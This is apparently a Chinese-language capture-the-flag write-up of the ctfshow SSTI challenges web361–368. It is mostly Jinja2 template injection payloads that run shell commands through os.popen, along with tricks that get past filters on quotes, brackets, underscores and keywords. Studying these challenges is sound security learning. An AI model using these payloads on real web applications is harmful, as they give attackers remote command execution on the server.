264 字
1 分钟
ctfshow-SSTI学习
2024-07-29

web361&web362#

![[3607ce69877dcf1b129d2080d79ad2e4_MD5.jpg]]

发现SSTI注入点 payload:

name={{config.__class__.__init__.__globals__['os'].popen('cat /f*').read()}}

config是当前application的所有配置,\_\_class__获得当前对象得所有类,init初始化函数,用来跳到globals

除此之外还可以使用:

?name={{lipsum.__globals__['os'].popen('tac ../flag').read()}}
?name={{cycler.__init__.__globals__.os.popen('ls').read()}}
?name={% print(url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat ../flag').read()"))%}


获得flag

web363#

方法一#

发现过滤了单双引号,没有过滤点

payload:

name={%print(config.__class__.__init__.__globals__.get(request.values.a).popen(request.values.b).read())%}&a=os&b=cat /f*

通过GET方式传递命令和利用的os模块

方法二#

字符串拼接

(config.__str__()[2])
(config.__str__()[42])	

?name={{url_for.__globals__[(config.__str__()[2])%2B(config.__str__()[42])]}}
等于
?name={{url_for.__globals__['os']}}

https://blog.csdn.net/q20010619/article/details/120493997

web364#

查看佬们得wp,发现是过滤了args(即传参为request.args.a) 不过我们上题使用的是values,所以仍可以绕过,

values获得全部参数外,我们还可以通过request.cookies.a 在请求包中添加cookie选项,传参之间用;连接

使用和363相同的payload绕过

web365#

与上题相同payload,过滤了中括号

web366#

过滤了下划线,点,args,中括号 payload:

name={{lipsum|attr(request.values.a)|attr(request.values.b)(request.values.c)|attr(request.values.d)(request.values.ocean)|attr(request.values.f)()}}&ocean=cat /flag&a=__globals__&b=__getitem__&c=os&d=popen&f=read

目前仅过滤name内的,所以将所有的敏感字符通过传参绕过

web367#

看佬wp发现多过滤了os,使用和上题相同payload

web368#

发现过滤{ { } },用{ % % }绕过

ctfshow-SSTI学习
http://orxiain.life/posts/ctfshow-ssti学习/
作者
𝚘𝚛𝚡𝚒𝚊𝚒𝚗.
发布于
2024-07-29
许可协议
CC BY-NC-SA 4.0